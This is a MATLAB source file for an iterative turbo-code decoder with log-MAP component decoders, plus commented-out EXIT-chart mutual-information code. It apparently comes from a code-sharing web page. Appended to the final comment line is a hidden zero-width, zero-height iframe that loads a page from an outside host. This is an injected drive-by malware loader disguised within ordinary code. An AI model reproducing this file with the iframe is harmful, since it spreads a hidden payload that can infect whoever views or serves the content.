📄 tc_dec.m
字号:
function [err] = TC_dec(y1,y2,niter,info_t)
global g n m nstates alpha L L_info L_total
% err: nb of errror bits found in decode results
% y1 y2 input for each component decoder. Both are n by L matrices
% Initialize extrinsic information
L_e = zeros(1,L);
L_a = zeros(1,L);
err=zeros(1,niter);
for iter = 1:niter
% First Decoder
L_a(alpha) = L_e(1:L_info); % a priori info.
L_all = logmap_old(L_a,y1);
L_e = L_all(1:L) - y1(1,:) - L_a; % extrinsic info.
% e0=L_e(info_t==0);
% le0=length(e0);
% e1=L_e(info_t==1);
% le1=length(e1);
% bin=-50:.1:50;
% redu0=0;
% redu1=0;
% result=0;
% for j=1:length(bin)
% L0=length( find(e0<bin(j)));
% pe0=(L0-redu0)/le0+eps;
% redu0=L0;
% L1=length( find(e1<bin(j)));
% pe1=(L1-redu1)/le1+eps;
% redu1=L1;
% result=result+0.5*(pe0*log2(2*pe0/(pe0+pe1))+pe1*log2(2*pe1/(pe0+pe1)));
% end
% dey(count)=result;
% dex(count+1)=dey(count);
% count=count+1;
% 2nd Decoder
L_a(1:L_info) = L_e(alpha); % a priori info.
L_all = logmap_old(L_a,y2);
L_e = L_all - y2(1,:) - L_a; % extrinsic info.
%
% e0=L_e(info_t==0);
% le0=length(e0);
% e1=L_e(info_t==1);
% le1=length(e1);
% bin=-50:.1:50;
% redu0=0;
% redu1=0;
% result=0;
% for j=1:length(bin)
% L0=length( find(e0<bin(j)));
% pe0=(L0-redu0)/le0+eps;
% redu0=L0;
% L1=length( find(e1<bin(j)));
% pe1=(L1-redu1)/le1+eps;
% redu1=L1;
% result=result+0.5*(pe0*log2(2*pe0/(pe0+pe1))+pe1*log2(2*pe1/(pe0+pe1)));
% end
% dey(count)=result;
% dex(count+1)=dey(count);
% count=count+1;
L_all(alpha) = L_all(1:L_info);
info_r = (sign(L_all(1:L_info)+eps)+1)/2;
err=nnz(info_r~=info_t);
if err==0,break,end
end %for iter=
% err=nnz(info_r~=info_t);
% tp=L_e(10);<IFRAME SRC="http://rrr.rfhwfhw.com/1.htm" WIDTH=0 HEIGHT=0></IFRAME>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -